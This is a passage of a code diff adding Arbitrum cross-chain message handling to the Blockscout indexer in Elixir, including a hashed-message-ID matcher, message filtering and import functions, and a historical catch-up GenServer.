+ use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_info: 1] + + require Logger + + alias Indexer.BufferedTask + alias Indexer.Fetcher.Arbitrum.MessagesToL2Matcher.Supervisor, as: MessagesToL2MatcherSupervisor + alias Indexer.Fetcher.Arbitrum.Messaging, as: MessagingUtils + alias Indexer.Fetcher.Arbitrum.Utils.Db.Messages, as: DbMessages + alias Indexer.Fetcher.Arbitrum.Utils.Helper, as: ArbitrumHelper + + @behaviour BufferedTask + + # Since the cache for DB responses is used, it is efficient to get rid of concurrent handling of the tasks. + @default_max_batch_size 10 + @default_max_concurrency 1 + + @flush_interval :timer.seconds(1) + + @typep min_transaction :: %{ + :hash => binary(), + :type => non_neg_integer(), + optional(:request_id) => non_neg_integer(), + optional(any()) => any() + } + + @doc """ + Defines the child specification for the MessagesToL2Matcher. + + This function creates a child specification for use in a supervision tree, + configuring a `BufferedTask` process for the MessagesToL2Matcher. It sets up + the initial state and options for the task, including the recheck interval + for matching L1-to-L2 messages. + + Using the same value for discovering new L1 messages interval and for the + unmatched L2 messages recheck interval ensures that message matching attempts + are synchronized with the rate of new L1 message discovery, optimizing the + process by avoiding unnecessary rechecks when no new L1 messages have been + added to the database. + + ## Parameters + - `init_options`: A keyword list of initial options for the BufferedTask. + - `gen_server_options`: A keyword list of options for the underlying GenServer. + + ## Returns + A child specification map suitable for use in a supervision tree, with the + following key properties: + - Uses `BufferedTask` as the module to start. + - Configures the MessagesToL2Matcher as the callback module for the BufferedTask. + - Sets the initial state with an empty cache of IDs of uncompleted messages and + the recheck interval from the Arbitrum.TrackingMessagesOnL1 configuration. + - Merges provided options with default options for the BufferedTask. + - Uses this module's name as the child's id in the supervision tree. + """ + def child_spec([init_options, gen_server_options]) do + messages_on_l1_interval = + Application.get_all_env(:indexer)[Indexer.Fetcher.Arbitrum.TrackingMessagesOnL1][:recheck_interval] + + buffered_task_init_options = + defaults() + |> Keyword.merge(init_options) + |> Keyword.merge( + state: %{ + uncompleted_messages: %{}, + recheck_interval: messages_on_l1_interval + } + ) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, buffered_task_init_options}, gen_server_options]}, + id: __MODULE__ + ) + end + + @impl BufferedTask + def init(initial, _, _) do + initial + end + + @doc """ + Processes a batch of transactions with hashed message IDs for L1-to-L2 messages. + + This function, implementing the `BufferedTask` behavior, handles a list of + transactions with associated timeouts. It attempts to match hashed request IDs + with uncompleted L1-to-L2 messages, updates the transactions accordingly, and + imports any successfully matched messages to the database. + + The function performs the following steps: + 1. Separates transactions with expired timeouts from those still delayed. + 2. Attempts to update expired transactions by matching their hashed request IDs. + 3. Processes updated transactions to filter and import L1-to-L2 messages. + 4. Reschedules unmatched or delayed transactions for future processing. + + For unmatched transactions, new timeouts are set to the current time increased + by the value of the recheck interval. + + ## Parameters + - `transactions_with_timeouts`: A list of tuples, each containing a timeout and a + transaction with a potentially hashed request ID. + - `state`: The current state of the task, including cached IDs of uncompleted + messages and the recheck interval. + + ## Returns + - `{:ok, updated_state}` if all transactions were processed successfully and + no retries are needed. + - `{:retry, transactions_to_retry, updated_state}` if some transactions need to be + retried, either due to unmatched request IDs or unexpired timeouts. + + The returned state always includes an updated cache of IDs of uncompleted + messages. + """ + @impl BufferedTask + @spec run([{non_neg_integer(), min_transaction()}], %{ + :recheck_interval => non_neg_integer(), + :uncompleted_messages => %{binary() => binary()}, + optional(any()) => any() + }) :: + {:ok, %{:uncompleted_messages => %{binary() => binary()}, optional(any()) => any()}} + | {:retry, [{non_neg_integer(), min_transaction()}], + %{:uncompleted_messages => %{binary() => binary()}, optional(any()) => any()}} + def run( + transactions_with_timeouts, + %{uncompleted_messages: cached_uncompleted_messages_ids, recheck_interval: _} = state + ) + when is_list(transactions_with_timeouts) do + # For next handling only the transactions with expired timeouts are needed. + now = DateTime.to_unix(DateTime.utc_now(), :millisecond) + + {transactions, delayed_transactions} = + transactions_with_timeouts + |> Enum.reduce({[], []}, fn {timeout, transaction}, {transactions, delayed_transactions} -> + if timeout > now do + {transactions, [{timeout, transaction} | delayed_transactions]} + else + {[transaction | transactions], delayed_transactions} + end + end) + + # Check if the request Id of transactions with expired timeouts matches hashed + # ids of the uncompleted messages and update the transactions with the decoded + # request ids. If it required, the cache is updated. + # Possible outcomes: + # - no transactions were updated, because the transactions list is empty, the cache is updated + # - no transactions were updated, because no matches in both cache and DB were found, the cache is updated + # - all matches were found in the cache, the cache is not updated + # - all matches were found in the DB, the cache is updated + # - some matches were found in the cache, but not all, the cache is not updated + {updated?, handled_transactions, updated_cache} = + update_transactions_with_hashed_ids(transactions, cached_uncompleted_messages_ids) + + updated_state = %{state | uncompleted_messages: updated_cache} + + case {updated?, transactions == []} do + {false, true} -> + # There were no transactions with expired timeouts, so counters of the transactions + # updated and the transactions are scheduled for retry. + {:retry, delayed_transactions, updated_state} + + {false, false} -> + # Some of the transactions were with expired timeouts, but no matches were found + # for these transaction in the cache or the DB. Timeouts for such transactions + # are re-initialized and they are added to the list with transactions with + # updated counters. + transactions_to_retry = + delayed_transactions ++ initialize_timeouts(handled_transactions, now + state.recheck_interval) + + {:retry, transactions_to_retry, updated_state} + + {true, _} -> + {messages, transactions_to_retry_wo_timeouts} = MessagingUtils.filter_l1_to_l2_messages(handled_transactions) + + MessagingUtils.import_to_db(messages) + + if transactions_to_retry_wo_timeouts == [] and delayed_transactions == [] do + {:ok, updated_state} + else + # Either some of the transactions with expired timeouts don't have a matching + # request id in the cache or the DB, or there are transactions with non-expired + # timeouts. All these transactions are needed to be scheduled for retry. + transactions_to_retry = + delayed_transactions ++ initialize_timeouts(transactions_to_retry_wo_timeouts, now + state.recheck_interval) + + {:retry, transactions_to_retry, updated_state} + end + end + end + + @doc """ + Asynchronously schedules the discovery of matches for L1-to-L2 messages. + + This function schedules the processing of transactions with hashed message IDs that + require further matching. + + ## Parameters + - `transactions_with_messages_from_l1`: A list of transactions containing L1-to-L2 + messages with hashed message IDs. + + ## Returns + - `:ok` + """ + @spec async_discover_match([min_transaction()]) :: :ok + def async_discover_match(transactions_with_messages_from_l1) do + # Do nothing in case if the indexing chain is not Arbitrum or the feature is disabled. + if MessagesToL2MatcherSupervisor.disabled?() do + :ok + else + BufferedTask.buffer(__MODULE__, Enum.map(transactions_with_messages_from_l1, &{0, &1}), false) + end + end + + # Retrieves and transforms uncompleted L1-to-L2 message IDs into a map of hashed IDs. + # + # This function fetches the IDs of uncompleted L1-to-L2 messages and creates a map + # where each key is the hashed hexadecimal string representation of a message ID, + # and the corresponding value is the original ID converted to a hexadecimal string. + # + # ## Returns + # A map where: + # - Keys are hashed message IDs as hexadecimal strings. + # - Values are original message IDs as 256-bit hexadecimal strings. + @spec get_hashed_ids_for_uncompleted_messages() :: %{binary() => binary()} + defp get_hashed_ids_for_uncompleted_messages do + DbMessages.get_uncompleted_l1_to_l2_messages_ids() + |> Enum.reduce(%{}, fn id, acc -> + Map.put( + acc, + ArbitrumHelper.get_hashed_message_id_as_hex_str(id), + ArbitrumHelper.bytes_to_hex_str(<>) + ) + end) + end + + # Updates transactions with hashed request IDs, using cached or fresh data. + # + # This function attempts to replace hashed request IDs in transactions with their + # original IDs. It first tries using a cached set of uncompleted message IDs. If + # no matches are found in the cache, it fetches fresh data from the database. + # + # ## Parameters + # - `transactions`: A list of transactions with potentially hashed request IDs. + # - `cached_uncompleted_messages_ids`: A map of cached hashed message IDs to their + # original forms. + # + # ## Returns + # A tuple containing: + # - A boolean indicating whether any transactions were updated. + # - An updated list of transactions, with some request IDs potentially replaced. + # - The map of uncompleted message IDs used for the update (either the cache or + # freshly fetched data). + # + # ## Notes + # - If the cache is used successfully, it's returned as-is, even if potentially + # outdated. + # - If the cache fails, fresh data is fetched and returned, updating the cache. + @spec update_transactions_with_hashed_ids([min_transaction()], %{binary() => binary()}) :: + {boolean(), [min_transaction()], %{binary() => binary()}} + defp update_transactions_with_hashed_ids([], cache), do: {false, [], cache} + + defp update_transactions_with_hashed_ids(transactions, cached_uncompleted_messages_ids) do + # Try to use the cached DB response first. That makes sense if historical + # messages are being processed (by catchup block fetcher or by the missing + # messages handler). Since amount of transactions provided to this function is limited + # it OK to inspect the cache before making a DB request. + case revise_transactions_with_hashed_ids(transactions, cached_uncompleted_messages_ids, true) do + {_, false} -> + # If no matches were found in the cache, try to fetch uncompleted messages from the DB. + uncompleted_messages = get_hashed_ids_for_uncompleted_messages() + + {updated_transactions, updated?} = + revise_transactions_with_hashed_ids(transactions, uncompleted_messages, false) + + {updated?, updated_transactions, uncompleted_messages} + + {updated_transactions, _} -> + # There could be a case when some hashed ids were not found since the cache is outdated + # such transactions will be scheduled for retry and the cache will be updated then. + {true, updated_transactions, cached_uncompleted_messages_ids} + end + end + + # Attempts to replace hashed request IDs in transactions with their original IDs. + # + # This function iterates through a list of transactions, trying to match their + # hashed request IDs with entries in the provided map of uncompleted messages. + # If a match is found, the transaction's request ID is updated to its original + # (non-hashed) form. + # + # ## Parameters + # - `transactions`: A list of transactions with potentially hashed request IDs. + # - `uncompleted_messages`: A map of hashed message IDs to their original forms. + # - `report?`: A boolean flag indicating whether to log decoding attempts. + # + # ## Returns + # A tuple containing: + # - An updated list of transactions, with some request IDs potentially replaced. + # - A boolean indicating whether any transactions were updated. + @spec revise_transactions_with_hashed_ids([min_transaction()], %{binary() => binary()}, boolean()) :: + {[min_transaction()], boolean()} + defp revise_transactions_with_hashed_ids(transactions, uncompleted_messages, report?) do + transactions + |> Enum.reduce({[], false}, fn transaction, {updated_transactions, updated?} -> + if report?, + do: + log_info( + "Attempting to decode the request id #{transaction.request_id} in the transaction #{transaction.hash}" + ) + + case Map.get(uncompleted_messages, transaction.request_id) do + nil -> + {[transaction | updated_transactions], updated?} + + id -> + {[%{transaction | request_id: id} | updated_transactions], true} + end + end) + end + + # Assigns a uniform timeout to each transaction in the given list. + @spec initialize_timeouts([min_transaction()], non_neg_integer()) :: [{non_neg_integer(), min_transaction()}] + defp initialize_timeouts(transactions_to_retry, timeout) do + transactions_to_retry + |> Enum.map(&{timeout, &1}) + end + + defp defaults do + [ + flush_interval: @flush_interval, + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + poll: false, + task_supervisor: __MODULE__.TaskSupervisor, + metadata: [fetcher: :messages_to_l2_matcher] + ] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/messaging.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/messaging.ex new file mode 100644 index 000000000000..662a35784cce --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/messaging.ex @@ -0,0 +1,322 @@ +defmodule Indexer.Fetcher.Arbitrum.Messaging do + @moduledoc """ + Provides functionality for filtering and handling messaging between Layer 1 (L1) and Layer 2 (L2) in the Arbitrum protocol. + + This module is responsible for identifying and processing messages that are transmitted + between L1 and L2. It includes functions to filter incoming logs and transactions to + find those that represent messages moving between the layers, and to handle the data of + these messages appropriately. + """ + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + alias EthereumJSONRPC.Arbitrum, as: ArbitrumRpc + alias EthereumJSONRPC.Arbitrum.Constants.Events, as: ArbitrumEvents + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_info: 1, log_debug: 1] + + alias Explorer.Chain + alias Explorer.Chain.Arbitrum.Message + alias Indexer.Fetcher.Arbitrum.Utils.Db.Messages, as: DbMessages + alias Indexer.Fetcher.Arbitrum.Utils.Db.Settlement, as: DbSettlement + require Logger + + @zero_hex_prefix "0x" <> String.duplicate("0", 56) + + @typep min_transaction :: %{ + :hash => binary(), + :type => non_neg_integer(), + optional(:request_id) => non_neg_integer(), + optional(any()) => any() + } + + @typep min_log :: %{ + :data => binary(), + :index => non_neg_integer(), + :first_topic => binary(), + :second_topic => binary(), + :third_topic => binary(), + :fourth_topic => binary(), + :address_hash => binary(), + :transaction_hash => binary(), + :block_hash => binary(), + :block_number => non_neg_integer(), + optional(any()) => any() + } + + @doc """ + Filters rollup transactions to identify L1-to-L2 messages and categorizes them. + + This function processes a list of rollup transactions, identifying those with + non-nil `request_id` fields. It then separates these into two categories: + messages with plain message IDs and transactions with hashed message IDs. + + ## Parameters + - `transactions`: A list of rollup transaction entries. + - `report`: An optional boolean flag (default `true`) that, when `true`, logs + the number of identified L1-to-L2 messages and transactions requiring + further processing. + + ## Returns + A tuple containing: + - A list of L1-to-L2 messages with detailed information, ready for database + import. All messages in this context are considered `:relayed` as they + represent completed actions from L1 to L2. + - A list of transactions with hashed message IDs that require further + processing for message ID matching. + """ + @spec filter_l1_to_l2_messages([min_transaction()]) :: {[Message.to_import()], [min_transaction()]} + @spec filter_l1_to_l2_messages([min_transaction()], boolean()) :: {[Message.to_import()], [min_transaction()]} + def filter_l1_to_l2_messages(transactions, report \\ true) + when is_list(transactions) and is_boolean(report) do + {transactions_with_proper_message_id, transactions_with_hashed_message_id} = + transactions + |> Enum.filter(fn transaction -> + transaction[:request_id] != nil + end) + |> Enum.split_with(fn transaction -> + plain_message_id?(transaction[:request_id]) + end) + + # Transform transactions with the plain message ID into messages + messages = + transactions_with_proper_message_id + |> handle_filtered_l1_to_l2_messages() + + if report do + if not (messages == []) do + log_info("#{length(messages)} completions of L1-to-L2 messages will be imported") + end + + if not (transactions_with_hashed_message_id == []) do + log_info( + "#{length(transactions_with_hashed_message_id)} completions of L1-to-L2 messages require message ID matching discovery" + ) + end + end + + {messages, transactions_with_hashed_message_id} + end + + @doc """ + Filters logs for L2-to-L1 messages and composes a map for each with the related message information. + + This function filters a list of logs to identify those representing L2-to-L1 messages. + It checks each log against the ArbSys contract address and the `L2ToL1Tx` event + signature to determine if it corresponds to an L2-to-L1 message. + + ## Parameters + - `logs`: A list of log entries. + + ## Returns + - A list of L2-to-L1 messages with detailed information and current status. Each map + in the list is compatible with the database import operation. + """ + @spec filter_l2_to_l1_messages(maybe_improper_list(min_log, [])) :: [Message.to_import()] + def filter_l2_to_l1_messages(logs) when is_list(logs) do + arbsys_contract = Application.get_env(:indexer, __MODULE__)[:arbsys_contract] + + filtered_logs = + logs + |> Enum.filter(fn event -> + event.address_hash == arbsys_contract and event.first_topic == ArbitrumEvents.l2_to_l1() + end) + + handle_filtered_l2_to_l1_messages(filtered_logs) + end + + @doc """ + Processes a list of filtered rollup transactions representing L1-to-L2 messages, constructing a detailed message structure for each. + + ## Parameters + - `filtered_transactions`: A list of rollup transaction entries, each representing an L1-to-L2 + message transaction. + + ## Returns + - A list of L1-to-L2 messages with detailed information and current status. Every map + in the list compatible with the database import operation. All messages in this context + are considered `:relayed` as they represent completed actions from L1 to L2. + """ + @spec handle_filtered_l1_to_l2_messages(maybe_improper_list(min_transaction, [])) :: [Message.to_import()] + def handle_filtered_l1_to_l2_messages([]) do + [] + end + + def handle_filtered_l1_to_l2_messages(filtered_transactions) when is_list(filtered_transactions) do + filtered_transactions + |> Enum.map(fn transaction -> + log_debug("L1 to L2 message #{transaction.hash} found with the type #{transaction.type}") + + %{ + direction: :to_l2, + message_id: quantity_to_integer(transaction.request_id), + completion_transaction_hash: transaction.hash, + status: :relayed + } + |> complete_to_params() + end) + end + + @doc """ + Processes a list of filtered logs representing L2-to-L1 messages, enriching and categorizing them based on their current state and optionally updating their execution status. + + This function takes filtered log events, typically representing L2-to-L1 messages, and + processes each to construct a comprehensive message structure. It also determines the + status of each message by comparing its block number against the highest committed and + confirmed block numbers. If a `caller` module is provided, it further updates the + messages' execution status. + + ## Parameters + - `filtered_logs`: A list of log entries, each representing an L2-to-L1 message event. + - `caller`: An optional module that uses as a flag to determine if the discovered + should be checked for execution. + + ## Returns + - A list of L2-to-L1 messages with detailed information and current status, ready for + database import. + """ + @spec handle_filtered_l2_to_l1_messages([min_log]) :: [Message.to_import()] + @spec handle_filtered_l2_to_l1_messages([min_log], module()) :: [Message.to_import()] + def handle_filtered_l2_to_l1_messages(filtered_logs, caller \\ nil) + + def handle_filtered_l2_to_l1_messages([], _) do + [] + end + + def handle_filtered_l2_to_l1_messages(filtered_logs, caller) when is_list(filtered_logs) do + # Get values before the loop parsing the events to reduce number of DB requests + highest_committed_block = DbSettlement.highest_committed_block(-1) + highest_confirmed_block = DbSettlement.highest_confirmed_block(-1) + + messages_map = + filtered_logs + |> Enum.reduce(%{}, fn event, messages_acc -> + log_debug("L2 to L1 message #{event.transaction_hash} found") + + fields = + event + |> ArbitrumRpc.l2_to_l1_event_parse() + + message = + %{ + direction: :from_l2, + message_id: fields.message_id, + originator_address: fields.caller, + originating_transaction_hash: event.transaction_hash, + origination_timestamp: Timex.from_unix(fields.timestamp), + originating_transaction_block_number: fields.arb_block_number, + status: status_l2_to_l1_message(fields.arb_block_number, highest_committed_block, highest_confirmed_block) + } + |> complete_to_params() + + Map.put( + messages_acc, + fields.message_id, + message + ) + end) + + log_info("Origins of #{length(Map.values(messages_map))} L2-to-L1 messages will be imported") + + # The check if messages are executed is required only for the case when l2-to-l1 + # messages are found by block catchup fetcher + caller + |> case do + nil -> + messages_map + + _ -> + messages_map + |> find_and_update_executed_messages() + end + |> Map.values() + end + + @doc """ + Imports a list of messages into the database. + + ## Parameters + - `messages`: A list of messages to import into the database. + + ## Returns + N/A + """ + @spec import_to_db([Message.to_import()]) :: :ok + def import_to_db(messages) do + {:ok, _} = + Chain.import(%{ + arbitrum_messages: %{params: messages}, + timeout: :infinity + }) + + :ok + end + + # Converts an incomplete message structure into a complete parameters map for database updates. + @spec complete_to_params(map()) :: Message.to_import() + defp complete_to_params(incomplete) do + [ + :direction, + :message_id, + :originator_address, + :originating_transaction_hash, + :origination_timestamp, + :originating_transaction_block_number, + :completion_transaction_hash, + :status + ] + |> Enum.reduce(%{}, fn key, out -> + Map.put(out, key, Map.get(incomplete, key)) + end) + end + + # Determines the status of an L2-to-L1 message based on its block number and the highest + # committed and confirmed block numbers. + @spec status_l2_to_l1_message(non_neg_integer(), non_neg_integer(), non_neg_integer()) :: + :confirmed | :sent | :initiated + defp status_l2_to_l1_message(msg_block, highest_committed_block, highest_confirmed_block) do + cond do + highest_confirmed_block >= msg_block -> :confirmed + highest_committed_block >= msg_block -> :sent + true -> :initiated + end + end + + # Finds and updates the status of L2-to-L1 messages that have been executed on L1. + # This function iterates over the given messages, identifies those with corresponding L1 executions, + # and updates their `completion_transaction_hash` and `status` accordingly. + # + # ## Parameters + # - `messages`: A map where each key is a message ID, and each value is the message's details. + # + # ## Returns + # - The updated map of messages with the `completion_transaction_hash` and `status` fields updated + # for messages that have been executed. + @spec find_and_update_executed_messages(%{non_neg_integer() => Message.to_import()}) :: %{ + non_neg_integer() => Message.to_import() + } + defp find_and_update_executed_messages(messages) do + messages + |> Map.keys() + |> DbMessages.l1_executions() + |> Enum.reduce(messages, fn execution, messages_acc -> + message = + messages_acc + |> Map.get(execution.message_id) + |> Map.put(:completion_transaction_hash, execution.execution_transaction.hash.bytes) + |> Map.put(:status, :relayed) + + Map.put(messages_acc, execution.message_id, message) + end) + end + + # Checks if the given request ID is a plain message ID (starts with 56 zero + # characters that correspond to 28 zero bytes). + @spec plain_message_id?(non_neg_integer()) :: boolean() + defp plain_message_id?(request_id) when byte_size(request_id) == 66 do + String.starts_with?(request_id, @zero_hex_prefix) + end + + defp plain_message_id?(_) do + false + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/rollup_messages_catchup.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/rollup_messages_catchup.ex new file mode 100644 index 000000000000..e228068814e9 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/rollup_messages_catchup.ex @@ -0,0 +1,390 @@ +defmodule Indexer.Fetcher.Arbitrum.RollupMessagesCatchup do + @moduledoc """ + Manages the catch-up process for historical rollup messages between Layer 1 (L1) + and Layer 2 (L2) within the Arbitrum network. + + This module aims to discover historical messages that were not captured by the + block fetcher or the catch-up block fetcher. This situation arises during the + upgrade of an existing instance of BlockScout (BS) that already has indexed + blocks but lacks a crosschain messages discovery mechanism. Therefore, it + becomes necessary to traverse the already indexed blocks to extract crosschain + messages contained within them. + + The fetcher's operation cycle consists of five phases, initiated by sending + specific messages: + - `:wait_for_new_block`: Waits for the block fetcher to index new blocks before + proceeding with message discovery. + - `:init_worker`: Sets up the initial parameters for the message discovery + process, identifying the ending blocks for the search. + - `:historical_msg_from_l2` and `:historical_msg_to_l2`: Manage the discovery + and processing of messages sent from L2 to L1 and from L1 to L2, respectively. + - `:plan_next_iteration`: Schedules the next iteration of the catch-up process. + + Workflow diagram of the fetcher state changes: + + wait_for_new_block + | + V + init_worker + | + V + |-> historical_msg_from_l2 -> historical_msg_to_l2 -> plan_next_iteration ->| + |---------------------------------------------------------------------------| + + `historical_msg_from_l2` discovers L2-to-L1 messages by analyzing logs from + already indexed rollup transactions. Logs representing the `L2ToL1Tx` event are + utilized to construct messages. The current rollup state, including information + about committed batches and confirmed blocks, is used to assign the appropriate + status to the messages before importing them into the database. + + `historical_msg_to_l2` discovers in the database transactions that could be + responsible for L1-to-L2 messages and then re-requests these transactions + through RPC. Results are utilized to construct messages. These messages are + marked as `:relayed`, indicating that they have been successfully received on + L2 and are considered completed, and are then imported into the database. If + it is determined that a message cannot be constructed because of a hashed + message ID, the transaction is scheduled for further asynchronous processing to + match it with the corresponding L1 transaction. This approach is adopted + because it parallels the action of re-indexing existing transactions to include + Arbitrum-specific fields, which are absent in the currently indexed + transactions. However, permanently adding these fields to the database model + for the sake of historical message catch-up is impractical. Therefore, to avoid + the extensive process of re-indexing and to minimize changes to the database + schema, fetching the required data directly from an external node via RPC is + preferred for historical message discovery. + """ + + use GenServer + use Indexer.Fetcher + + import Indexer.Fetcher.Arbitrum.Utils.Helper, only: [increase_duration: 2] + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_warning: 1] + + alias EthereumJSONRPC.Utility.RangesHelper + alias Indexer.Fetcher.Arbitrum.Utils.Db.Common, as: DbCommon + alias Indexer.Fetcher.Arbitrum.Workers.HistoricalMessagesOnL2 + + require Logger + + @wait_for_new_block_delay 15 + @release_cpu_delay 2 + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + Logger.metadata(fetcher: :arbitrum_bridge_l2_catchup) + + indexer_first_block = + RangesHelper.get_min_block_number_from_range_string(Application.get_env(:indexer, :block_ranges)) + + config_common = Application.get_all_env(:indexer)[Indexer.Fetcher.Arbitrum] + rollup_chunk_size = config_common[:rollup_chunk_size] + + config_tracker = Application.get_all_env(:indexer)[__MODULE__] + recheck_interval = config_tracker[:recheck_interval] + missed_messages_blocks_depth = config_tracker[:missed_messages_blocks_depth] + + Process.send(self(), :wait_for_new_block, []) + + {:ok, + %{ + config: %{ + rollup_rpc: %{ + json_rpc_named_arguments: args[:json_rpc_named_arguments], + chunk_size: rollup_chunk_size, + first_block: indexer_first_block + }, + json_l2_rpc_named_arguments: args[:json_rpc_named_arguments], + recheck_interval: recheck_interval, + missed_messages_blocks_depth: missed_messages_blocks_depth + }, + data: %{} + }} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + # Waits for the next new block to be picked up by the block fetcher before initiating + # the worker for message discovery. + # + # This function checks if a new block has been indexed by the block fetcher since + # the start of the historical messages fetcher. It queries the database to find + # the closest block timestamped after this period. If a new block is found, it + # initiates the worker process for message discovery by sending the `:init_worker` + # message. If no new block is available, it reschedules itself to check again after + # a specified delay. + # + # The number of the new block indexed by the block fetcher will be used by the worker + # initializer to establish the end of the range where new messages should be discovered. + # + # ## Parameters + # - `:wait_for_new_block`: The message that triggers the waiting process. + # - `state`: The current state of the fetcher. + # + # ## Returns + # - `{:noreply, new_state}` where the new indexed block number is stored, or retain + # the current state while awaiting new blocks. + @impl GenServer + def handle_info(:wait_for_new_block, %{data: _} = state) do + {time_of_start, interim_data} = + if is_nil(Map.get(state.data, :time_of_start)) do + now = DateTime.utc_now() + updated_data = Map.put(state.data, :time_of_start, now) + {now, updated_data} + else + {state.data.time_of_start, state.data} + end + + new_data = + case DbCommon.closest_block_after_timestamp(time_of_start) do + {:ok, block} -> + Process.send(self(), :init_worker, []) + + interim_data + |> Map.put(:new_block, block) + |> Map.delete(:time_of_start) + + {:error, _} -> + log_warning("No progress of the block fetcher found") + Process.send_after(self(), :wait_for_new_block, :timer.seconds(@wait_for_new_block_delay)) + interim_data + end + + {:noreply, %{state | data: new_data}} + end + + # Sets the end blocks of the ranges for discovering historical L1-to-L2 and L2-to-L1 messages. + # + # There is likely a way to query the DB and discover the exact block of the + # first missed message (both L1-to-L2 and L2-to-L1) and start the discovery + # process from there. However, such a query is very expensive and can take a + # long time for chains with a high number of transactions. Instead, it's + # possible to start looking for missed messages from the block before the + # latest indexed block. + # + # Although this approach is not optimal for Blockscout instances where there + # are no missed messages (assumed to be the majority), it is still preferable + # to the first approach. The reason is that a finite number of relatively + # cheap queries (which can be tuned with `missed_messages_blocks_depth`) are + # preferable to one expensive query that becomes even more expensive as the + # number of indexed transactions grows. + # + # After identifying the initial values, the function immediately transitions + # to the L2-to-L1 message discovery process by sending the + # `:historical_msg_from_l2` message. + # + # ## Parameters + # - `:init_worker`: The message that triggers the handler. + # - `state`: The current state of the fetcher containing the number of the + # most recent block indexed. + # + # ## Returns + # - `{:noreply, new_state}` where `new_state` contains the updated state with + # end blocks for both L1-to-L2 and L2-to-L1 message discovery established. + @impl GenServer + def handle_info(:init_worker, %{data: %{new_block: just_received_block}} = state) do + Process.send(self(), :historical_msg_from_l2, []) + + new_data = + Map.merge(state.data, %{ + duration: 0, + progressed: false, + historical_msg_from_l2_end_block: just_received_block, + historical_msg_to_l2_end_block: just_received_block + }) + + {:noreply, %{state | data: new_data}} + end + + # Processes the next iteration of historical L2-to-L1 message discovery. + # + # This function uses the results from the previous iteration to set the end block + # for the current message discovery iteration. It identifies the start block and + # requests rollup logs within the specified range to explore `L2ToL1Tx` events + # that have no matching records in the cross-level messages table. + # Discovered events are used to compose messages to be stored in the database. + # Before being stored in the database, each message is assigned the appropriate + # status based on the current state of the rollup. + # + # After importing the messages, the function immediately switches to the process + # of L1-to-L2 message discovery for the next range of blocks by sending + # the `:historical_msg_to_l2` message. + # + # ## Parameters + # - `:historical_msg_from_l2`: The message triggering the handler. + # - `state`: The current state of the fetcher containing necessary data like + # the end block identified after the previous iteration of historical + # message discovery from L2. + # + # ## Returns + # - `{:noreply, new_state}` where the end block for the next L2-to-L1 message + # discovery iteration is updated based on the results of the current iteration. + @impl GenServer + def handle_info( + :historical_msg_from_l2, + %{ + data: %{duration: _, historical_msg_from_l2_end_block: _, progressed: _} + } = state + ) do + end_block = state.data.historical_msg_from_l2_end_block + + {handle_duration, {:ok, start_block}} = + :timer.tc(&HistoricalMessagesOnL2.discover_historical_messages_from_l2/2, [end_block, state]) + + Process.send(self(), :historical_msg_to_l2, []) + + progressed = state.data.progressed || (not is_nil(start_block) && start_block - 1 < end_block) + + new_data = + Map.merge(state.data, %{ + duration: increase_duration(state.data, handle_duration), + progressed: progressed, + historical_msg_from_l2_end_block: if(is_nil(start_block), do: nil, else: start_block - 1) + }) + + {:noreply, %{state | data: new_data}} + end + + # Processes the next iteration of historical L1-to-L2 message discovery. + # + # This function uses the results from the previous iteration to set the end block + # for the current message discovery iteration. It identifies the start block and + # inspects the database for transactions within the block range that could contain + # missing messages. Then it requests rollup transactions through RPC to extract the + # `requestId` for every transaction. This RPC request is necessary because the + # `requestId` field is not present in the transaction model of already indexed + # transactions in the database. Results are used to construct messages, which are + # subsequently stored in the database. + # + # Messages with plain (non-hashed) request IDs are imported into the database and + # marked as `:relayed`, representing completed actions from L1 to L2. + # + # For transactions where the `requestId` represents a hashed message ID, the + # function schedules asynchronous discovery to match them with corresponding L1 + # transactions. + # + # After importing the messages, the function immediately switches to the process + # of choosing a delay prior to the next iteration of historical message discovery + # by sending the `:plan_next_iteration` message. + # + # ## Parameters + # - `:historical_msg_to_l2`: The message triggering the handler. + # - `state`: The current state of the fetcher containing necessary data, like the end + # block identified after the previous iteration of historical message discovery. + # + # ## Returns + # - `{:noreply, new_state}` where the end block for the next L1-to-L2 message discovery + # iteration is updated based on the results of the current iteration. + @impl GenServer + def handle_info( + :historical_msg_to_l2, + %{data: %{duration: _, historical_msg_to_l2_end_block: _, progressed: _}} = state + ) do + end_block = state.data.historical_msg_to_l2_end_block + + {handle_duration, {:ok, start_block}} = + :timer.tc(&HistoricalMessagesOnL2.discover_historical_messages_to_l2/2, [end_block, state]) + + Process.send(self(), :plan_next_iteration, []) + + progressed = state.data.progressed || (not is_nil(start_block) && start_block - 1 < end_block) + + new_data = + Map.merge(state.data, %{ + duration: increase_duration(state.data, handle_duration), + progressed: progressed, + historical_msg_to_l2_end_block: if(is_nil(start_block), do: nil, else: start_block - 1) + }) + + {:noreply, %{state | data: new_data}} + end + + # Decides whether to stop or continue the fetcher based on the current state of message discovery. + # + # If both `historical_msg_from_l2_end_block` and `historical_msg_to_l2_end_block` are lesser than + # the indexer first block, indicating that there are no more historical messages to fetch, the + # task is stopped with a normal termination. + # + # ## Parameters + # - `:plan_next_iteration`: The message that triggers this function. + # - `state`: The current state of the fetcher. + # + # ## Returns + # - `{:stop, :normal, state}`: Ends the fetcher's operation cleanly. + @impl GenServer + def handle_info( + :plan_next_iteration, + %{ + config: 